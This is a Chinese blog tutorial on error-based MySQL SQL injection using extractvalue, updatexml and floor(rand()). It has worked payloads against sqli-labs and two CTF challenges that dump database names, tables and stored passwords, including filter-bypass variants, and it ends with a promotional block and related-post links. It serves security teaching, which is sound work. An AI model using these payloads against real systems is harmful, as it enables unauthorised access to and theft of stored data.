深入浅出带你学习报错注入
引文
之前两篇文章给大家分别讲解了盲注里的时间盲注与布尔盲注,不知道大家学的怎样了,今天给大家带来一种新的注入类型——报错注入,即通过报错信息来达到注入的效果,接下来带领大家学习一下它的原理以及注入流程。
基本知识
什么是报错注入?
报错注入是一种SQL注入类型,用于使SQL语句报错的语法,用于注入结果无回显但错误信息有输出的情况。返回的错误信息即是攻击者需要的信息。所以当我们没有回显位时可以考虑报错注入这种方法来进行渗透测试。接下来带给大家常用的三种报错注入函数。
函数
extractvalue
函数基本格式:
ExtractValue(xml_frag, xpath_expr)
可以看到函数里面的参数,xml我们之前讲过,简单分析一下,xml_frag参数就是为了上传一个xml文档,xpath_expr参数就是用xpath路径法查找路径,而extractvalue报错注入 就是通过在函数中写如不符合语法格式的xpath达到报错的目的,并且通过拼接sql注入语句从而通过报错查询并显示我们想要查询的内容;比如我们要查找数据库版本,构造格式如下:
?id=' and (extractvalue('anything',concat('~',(select version()))))--+
可以看到报错信息里就包含了我们所查询的内容,也就达到了注入效果。
updatexml
与extractvalue函数利用方式差不多,原理大致一致,基本格式如下:
UpdateXML(xml_target, xpath_expr, new_xml)
分别分析里面的参数:
xml - taeget:需要操作的xml片段;
xpath -expr:需要更新的路径;
xml -xml:更新后的的xml字段;
假设我们用这个函数查找数据库名称,可以这样构造PAYLOAD:
?id=' and (updatexml('anything',concat('~',(select database())),'anything'))--+
成功查询到数据库名称,于是我们可以接着构造查询语句去注入了。
floor
floor函数与上面两个的利用方法就不是那么一样了,在了解这个函数之前先看一些会用到的函数。
rand()函数: 产生一个伪随机的序列,执行函数,随机产生一个0~1之间的数值。
count()函数: 返回指定列的数目。
group by()函数: 结合合计函数,根据一个或多个列对结果集进行分组。
学完上面知识后,我们尝试构造sql语句来进行注入:
select count(*) from users group by concat(database(),floor(rand(0)*2));
发现错报信息,提示我们主键重复了:
ERROR 1062 (23000): Duplicate entry 'security1' for key 'group_key'
floor(rand(0)2)的意思是随机产生0或1,对于rand(0),虽说是随机数,但是它的值与执行rand(0)的次数是意义对应的,即每一次执行rand(0)得到的结果都是固定的。使用group by 和count后,group by 会按顺序从users表中查询记录,建立一张虚拟的表,当表中的主键key存在时,count会自动+1,如果key不存在,则将key插入到临时表中。
而当group by与rand一起搭配时,如果临时表中没有该主键,rand会再计算一次,将计算结果插入到临时表,导致主键重复报错。
注入过程
我们还是拿sqli-labs来举例,在我们尝试注入时发现没有回显语句,于是我们进行错报注入:
?id=1 ' union select updatexml(1,concat(0x7e,(select user()),0x7e),1) --+
发现回显了user信息,于是我们继续构造语句来查询数据库:
?id=1 ' union select updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
得到数据库名称为security。于是我们查询该库里面的表。
?id=1 ' union select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema ='security' limit 0,1),0x7e),1) --+
查询user表里面的字段:
?id=1 ' union select updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) --+
接着就可以尝试爆破密码了。
例题
例题一
进入页面是一个登录框,按照渗透流程我我们先看看过滤了什么,跑了一遍发现过滤了and,/**/,空格,=,>,还有联合查询等关键函数。因为知道该题是错报注入,我们我们先构造payload试一试:
?username=1'or(updatexml("~",concat("~",(select(database()))),"~"))%23&password=xino
得到数据库名字,于是我们继续查询表:
?username=1'or(updatexml("~",concat("~",(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),"~"))%23&password=xino
接着查询字段名:
?username=1'or(updatexml("~",concat("~",(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),"~"))%23&password=xino
发现有密码的字段,于是我们直接爆出数据:
?username=1'or(updatexml("~",concat("~",(select(group_concat(username,"--",password))from(H4rDsq1))),"~"))%23&password=xino
但爆出来的数据只有一半的flag,猜测后台用到了substr函数截取掉了flag信息。所以这里可以用left和right函数分别获取左右部分的flag。
?username=1'or(updatexml("~",concat("~",(select(group_concat(right(password,25)))from(H4rDsq1))),"~"))%23&password=xino
拼接后得到完整的flag,成功获取数据。
例题二
有两个按钮,一个是登录,一个是新建一个登录博客,于是我们join一个新用户,之后会发现url多了一个
?no=1
因为根据SQL注入需要有注入点,这个就很符合SQL注入,于是我们在此进行注入:
查询当前数据库:
?no=1 and updatexml(1,concat('~',(database()),'~'),1)#
错误信息回显了数据库名字,于是我们进一步查询:
?no=1 and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='fakebook'),'~'),1)#
最后查数据:
?no=1 and updatexml(1,concat('~',(select group_concat(passwd) from fakebook.users),'~'),1)#
得到我们想要的信息,成功注入。
结语
今天给大家讲了错报注入,原理跟盲注不是很一样,但还是挺好理解的,希望大家可以动手在靶机里试一试,错报注入在渗透中还是挺好用的,如果喜欢本文不妨一键三连。
学习计划安排
我一共划分了六个阶段,但并不是说你得学完全部才能上手工作,对于一些初级岗位,学到第三四个阶段就足矣~
这里我整合并且整理成了一份【282G】的网络安全从零基础入门到进阶资料包,需要的小伙伴可以扫描下方CSDN官方合作二维码免费领取哦,无偿分享!!!
①网络安全学习路线
②上百份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥HW护网行动经验总结
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析
深入浅出带你学习报错注入相关推荐
- mysql less6教程_Sqli labs系列-less-56 报错注入法(上)
睡了一下午,晚上也没啥事,还特别精神,就想着,要不继续做做这个系列第五关和第六关吧,在我一系列常规的测试后发现,第五关和第六关,是属于报错注入的关卡,两关的区别是一个是单引号一个是双引号...当然我是 ...
- 盲注、报错注入、宽字节注入、堆叠注入学习笔记
文章目录 一.盲注 二.报错注入 什么是报错注入 报错注入原理 报错注入的场景 常用报错函数 1.updatexml()(是mysql对xml文档数据进行查询和修改的xpath函数) 2.extrac ...
- phpcms mysql 事务_phpcms某站点MySQL报错注入
phpcms某站点MySQL报错注入 Referer可注入:GET /index.php HTTP/1.1Referer: 123*User-Agent: Mozilla/5.0 (iPhone; C ...
- sqlmap报错注入
0x00 背景 学习记录一下报错型的注入,经各方整理和自己总结形成. 所有的注入原理都是一样,即用户输入被拼接执行.但后台数据库执行语句产生错误并回显到页面时即可能存在报错注入. 0x01概念 报错型 ...
- 注入双括号报错注入_SQL手动注入:sqlilabs(less110)
种一棵树最好的时间是10年前,其次是现在. 忘了是谁 前言 说实话,由于前段时间学 python ,对于 OWASP TOP10 漏洞的学习都有所落下,虽然现在也在慢慢复习当中,但是今晚谈及的 SQL ...
- mysql中文注入_SQL注入之Mysql报错注入
--志向和热爱是伟大行为的双翼. 昨天偷懒了没学什么东西,先自我反省一下 - -. 今天认真的学习了一下Mysql报错注入利用方法及原理,好久之前就像认真的学一下这个了,是在上海市大学生网络安全大赛中 ...
- SQL注入之Mysql报错注入
--志向和热爱是伟大行为的双翼. 昨天偷懒了没学什么东西,先自我反省一下 - -. 今天认真的学习了一下Mysql报错注入利用方法及原理,好久之前就像认真的学一下这个了,是在上海市大学生网络安全大赛中 ...
- SQLi LABS Less 27 联合注入+报错注入+布尔盲注+时间盲注
第27关是单引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 其他 SQLi LABS 靶场 ...
- SQLi LABS Less-26 联合注入+报错注入+布尔盲注+时间盲注
第26关是单引号字符型注入: 后台过滤了关键字( and or ),注释(/* # -- /),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 目录 一.功能分析 二 ...
最新文章
- Spatial Pyramid Pooling(空间金字塔池化)-变尺度CNN训练
- 牛客多校 - Minimum-cost Flow(最小费用最大流+贪心)
- 【每日一题】7月17日题目精讲—BOWL 碗的叠放
- ensp安装对电脑配置要求高吗_直线导轨有哪些安装方法?为什么直线导轨安装精度要求高?...
- mysql不能写重复键_mysql主键重复,不抱错,只更新的骚操作 (如果没有插入,如果有更新)...
- 【收集】腾讯AlloyTeam
- python的numpy教程_Python入门教程(一):初识Numpy
- 【Uvalive 2531】 The K-League (最大流-类似公平分配问题)
- python与excel-Python与Excel 不得不说的事情
- linux内核编译串口驱动,ARM Linux下安装CH341串口驱动
- 华为USG防火墙配置命令
- Hessian Matrix(海森矩阵)
- [渝粤教育] 晋中学院 晋商大院三雕艺术 参考 资料
- 谷歌浏览器怎么长截图怎么截_Google浏览器如何截取网页长图 - 里维斯社
- libvlc.java_java – LibVlc android无法加载库
- 孟子:生于忧患,死于安乐
- 在3D空间中绘制四边形
- python基于PHP+MySQL的在线音乐点歌系统
- 【vbs脚本】02.高级
- 状态空间方程转换传递函数
热门文章
- 范文网站服务器配置,服务器配置与管理论文范文怎么写(2)
- linux开启mysql窗口_通过window(Navicat)访问linux中的mysql数据库
- TS中的条件类型(ReturnType)
- ES如何做到亿级数据查询毫秒级返回
- USACO 2020 December Contest, BronzeProblem 2. Daisy Chains题解
- “宫里过大年”数字沉浸体验展开幕 门神居然会动?
- 收音机主页网站服务器列表,谁有收音机频道列表,要山东的,越详细越好
- 2019年地理信息产业大会(珠海)信息解读
- Photoneo 3D相机丨平行结构光的力量
- AOP机制之环绕通知的见解